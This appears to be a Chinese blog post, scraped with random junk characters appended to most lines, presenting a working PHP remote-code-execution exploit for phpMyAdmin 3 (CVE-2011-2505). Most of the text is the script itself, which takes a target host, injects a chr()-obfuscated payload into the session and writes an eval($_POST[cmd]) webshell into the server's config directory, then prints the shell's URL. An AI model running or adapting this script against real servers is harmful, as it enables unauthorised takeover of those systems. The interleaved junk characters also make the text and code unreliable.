最近在家做专职奶爸,不谙圈内事很多months了,博客也无更新。
+ C) Y+ g# ? h, e! j: z: x7 d5 |& c: ~9 X4 Y6 ?! b( B! _
昨夜带孩子整夜未眠,看到黑哥在php security群里关于phpmyadmin3漏洞的讨论,虽然之前没看过漏洞代码,不过前段时间还是在微博上看到wofeiwo的exp了,不过据黑哥说有不鸡肋的利用方法,于是夜里翻代码出来研究了翻,写出了这个冷饭exp,由于我搞的晚了,之前已经很多人研究了写exp了,于是我这个属于炒冷饭,权当研究研究打发时间了。& H, E+ `, c0 ?& Y7 b
0 K) N: R* q7 h f. Z$ z3 U首先赞下wofeiwo的python版本的exp,再赞下wofeiwo跟superhei的钻研精神,学习的榜样啊。不过之前那个exp利用起来是有一些限制的:
! Z! Y; o, {. c f+ @% c$ Q7 ^一是session.auto_start = 1;* N2 B T- {9 U3 ]
二是pma3默认代码里libraries目录已经用.htaccess控制了不允许访问。, M6 B$ r' @) ~9 T) d1 J0 p
当然还有第三点大家都不可以逾越的鸿沟:config目录存在且可写。) d9 ~2 {+ m7 a3 R3 Q$ g: @
4 f4 t3 h3 d- D5 U7 ^. F6 P, w
在群里看了黑哥的发言后,再看了下代码,发现前两点利用限制均可以无视。所以其实这个漏洞还真的可以不是那么鸡肋。
- p0 L- P' p! _3 Y3 @( H
/ V/ g" G" D# d. V/ m5 u+ ^于是写了这个php版本的exp,代码如下:/ T% d# \ L7 \+ |0 P
! v4 I& n( K0 Y" e8 }. W#!/usr/bin/php
8 m/ E F$ { O6 m& L<?php
4 t/ _% Y. Q) j8 A* tprint_r('5 e4 E2 e* I7 r* W' ]
+---------------------------------------------------------------------------+
9 g& ] g) V1 p) i g: {: spma3 - phpMyAdmin3 remote code execute exploit [Not jilei(chicken\'s ribs)]
! s; m8 L" A9 H ~by oldjun(www.oldjun.com)
( l$ Q' S* t% @- h0 X$ _! Y- Lwelcome to www.t00ls.net5 v% C' `& {, n$ `5 I4 z
mail: oldjun@gmail.com
}- Y5 W9 s0 t0 u% tAssigned CVE id: CVE-2011-2505
/ Y! \" L3 P% c# V: ~: X+---------------------------------------------------------------------------+
5 b& Y+ _ g" [, B( l& W! @* T');! I3 l& V6 Y, R/ s
@3 k! m( Q$ d2 W2 b$ Y0 I- A' n
/** ]. m" l& V, Q9 {4 p9 f& O9 @9 c
* working when the directory:"config" exists and is writeable.+ P- n' x0 e; O* X3 {# m' @
**/
5 K6 Q/ G: \' R0 ?, m 6 ^* N4 v# F- f/ D# z
if ($argc < 3) {/ B$ b" h! ~: {9 t
print_r('( u1 U: w% B" {* O
+---------------------------------------------------------------------------+
, ?" V3 F( Z4 d, JUsage: php '.$argv[0].' host path s- t( {' J( m+ ]: e$ c. @
host: target server (ip/hostname)
3 Q, n3 C9 I! Q! R. N) S2 Hpath: path to pma3
. M: W0 X" e+ R% x5 _6 UExample:
8 |) N; \* y. P9 N# R9 Lphp '.$argv[0].' localhost /pma/
2 T. r6 ^1 m( G# Z7 L+---------------------------------------------------------------------------+! V h9 y% v: u, P" _( N5 J# o
');+ D: o) X) k4 `
exit;
- i+ r ~9 C9 S4 p0 J. S5 D& ~}
9 W, J+ e: n% i- I* h+ x0 {$ @, o1 S$ @7 D
$host = $argv[1];
4 @& W$ b w" o" T/ b8 l- b# t. y. A" l$path = $argv[2];! Y" k5 M; d" S+ {; ~! F
2 l( H- d4 K/ l+ d3 I8 j) b
/**
* H7 I0 U) a: y * Try to determine if the directory:"config" exists* z* u9 \' z2 T) u+ J! b: Z1 {; J- v
**/
$ Y) G8 s2 K* I9 S8 ]echo "[+] Try to determine if the directory:config exists....\n";( D1 h& L! ^" @1 K9 r) p
$returnstr=php_request('config/');
* L2 i$ A9 D/ nif(strpos($returnstr,'404')){5 E3 c& o- e8 L$ A% N$ L' i# V
exit("[-] Exploit Failed! The directory:config do not exists!\n");
0 t' J7 R2 P: o+ g/ _9 j}
( Z& I# s9 {; g: ?1 y+ Q% R a0 Z' I3 Z9 K+ T! f4 Z
/**
+ \8 I m% D6 K5 I9 i2 Y7 n8 Y * Try to get token and sessionid
1 X9 t8 |# g6 [/ W* ]3 r**/9 a' v# |6 u* q" b
echo "[+] Try to get token and sessionid....\n";5 q s8 M, `+ R( y5 l& e
$result=php_request('index.php');
; P! [& i+ m0 W/ i, ]* k- z* cpreg_match('/phpMyAdmin=(\w{32,40})\;(.*?)token=(\w{32})\&/s', $result, $resp);! G1 K9 U3 _0 m! C
$token=$resp[3];2 M3 ?! y9 \9 Q3 h# ]" G
$sessionid=$resp[1];. l$ R9 S' T0 j+ z
if($token && $sessionid){
+ I3 f" J& x% a& V echo "[+] token token\n";! u$ P2 y y6 W
echo "[+] Session ID sessionid\n";% e7 t* N* {3 u
}else{, R- [ | Y/ N5 R( j
exit("[-] Can't get token and Session ID,Exploit Failed!\n");. E6 n5 X: {( X. t h
}: A3 B- f7 a) X# v: m) j' L( t
0 M7 q2 h: \/ ~9 w
/**9 \8 i8 b' f o1 C* y7 a
* Try to insert shell into session
2 W. h( o# C0 y. I**/# X8 x4 V# J. I3 c
echo "[+] Try to insert shell into session....\n";3 K0 T2 A0 N/ k* ]3 B7 ?
php_request('db_create.php?token='.$token.'&session_to_unset=t00ls&_SESSION[ConfigFile][Servers][*/eval(chr(102).chr(112).chr(117).chr(116).chr(115).chr(40).chr(102).chr(111).chr(112).chr(101).chr(110).chr(40).chr(39).chr(97).chr(46).chr(112).chr(104).chr(112).chr(39).chr(44).chr(39).chr(119).chr(39).chr(41).chr(44).chr(39).chr(60).chr(63).chr(112).chr(104).chr(112).chr(32).chr(101).chr(118).chr(97).chr(108).chr(40).chr(36).chr(95).chr(80).chr(79).chr(83).chr(84).chr(91).chr(99).chr(109).chr(100).chr(93).chr(41).chr(63).chr(62).chr(39).chr(41).chr(59).chr(101).chr(99).chr(104).chr(111).chr(40).chr(39).chr(116).chr(48).chr(48).chr(108).chr(115).chr(39).chr(41).chr(59));/*][host]=t00ls.net','','phpMyAdmin='.$sessionid);//Actually,almost all the php files in home directory of pma3 can be used here.
J. j! L9 O, R e; X: K! `/ ^6 m: ]1 W. M- ?8 k
/**3 Y8 z/ J& P; F, Z8 v. D, O
* Try to create webshell9 C8 e6 d# R* F/ @+ ^, ]
**/$ z2 ?6 k: D% m g4 a
echo "[+] Try to create webshell....\n";2 F& [5 C# l F3 X
php_request('setup/config.php','phpMyAdmin='.$sessionid.'&tab_hash=&token='.$token.'&check_page_refresh=&DefaultLang=en&ServerDefault=0&eol=unix&submit_save=Save','phpMyAdmin='.$sessionid);; \) _8 }2 A1 n1 m
/**: E7 g- {* W1 @8 ~
* Try to check if the webshell was created successfully
# G4 ]& T8 u9 s3 T$ [**/- m" |9 P; Q, E; X. |8 E% G
echo "[+] Try to check if the webshell was created successfully....\n";, d. z: h5 i) \* `
$content=php_request('config/config.inc.php');4 T6 y, }3 G* _- F3 y" F
if(strpos($content,'t00ls')){9 A. Z# m8 U! ~8 |
echo "[+] Congratulations! Expoilt successfully....\n";* }, Q5 u2 x* J0 e! p
echo "[+] Webshell:http://$host{$path}config/a.php eval(\$_POST[cmd])\n";
: r; u9 G: q: F8 W0 ?5 E5 l}else{
) i! i" H0 T: x$ a exit("[-] Exploit Failed! Perhaps the directory:config do not exists or is not writeable!\n");
; h! d- h' ?( _- [. w! X/ f$ U- }}
* P1 Q( s3 p! h9 r* j7 Y; I' X' t$ `7 X0 z2 k( ?3 V7 b3 U: p$ A
function php_request($url,$data='',$cookie=''){# j5 G& F! v; L3 g
global $host, $path;
9 F% o6 C1 r( D # a" E; j$ E% L% S: \. s
$method=$data?'POST':'GET';' J% S) v# F" K0 N1 C; S# J
/ p& H1 |; Y r $packet = $method." ".$path.$url." HTTP/1.1\r\n";4 u, v+ C' e7 y' @ c/ v
$packet .= "Accept: */*\r\n";$ ~3 E; q/ ^" N
$packet .= "User-Agent: Mozilla/4.0 (compatible; MSIE 6.00; Windows NT 5.1; SV1)\r\n";
& I, e& m! M0 v $packet .= "Host: $host\r\n";
! N4 I( o2 h% `/ V $packet .= $data?"Content-Type: application/x-www-form-urlencoded\r\n":"";4 w+ V2 A+ z, [
$packet .= $data?"Content-Length: ".strlen($data)."\r\n":"";5 M( P, H3 ?5 L
$packet .= $cookie?"Cookie: $cookie\r\n":"";
3 n- v; C2 N- q) | l* x $packet .= "Connection: Close\r\n\r\n";
, f1 _0 W; y9 F h $packet .= $data?$data:"";3 L* H' B. ?+ ?
, P+ s" @! }4 j $fp = fsockopen(gethostbyname($host), 80);! X- j- a7 k, c3 t! ?; x' ~
if (!$fp) {5 ?- Y' i, K7 w
echo 'No response from '.$host; die;2 ~3 t1 k0 D! f' R) G) w
}. T' y) M# I) x: \1 W% j
fputs($fp, $packet);! O; B* k, j/ ^, g$ K
, c7 s; v" n6 G) }. d! M. Z: X; a
$resp = '';! s$ i8 S' j( u7 O
% c- @8 D2 W& N v) h while ($fp && !feof($fp))- k: y3 n; k6 G# i5 d* [
$resp .= fread($fp, 1024);
& {( Z3 M) V( V) R* r, J% D) a- }2 s. ]5 L% [1 b- W/ }
return $resp;
A2 Y% ~2 q" M S}
; L% B# a) X9 M) u
- l& l7 B; N; A- H3 x?> , N* b; C4 |# n/ _; i
. |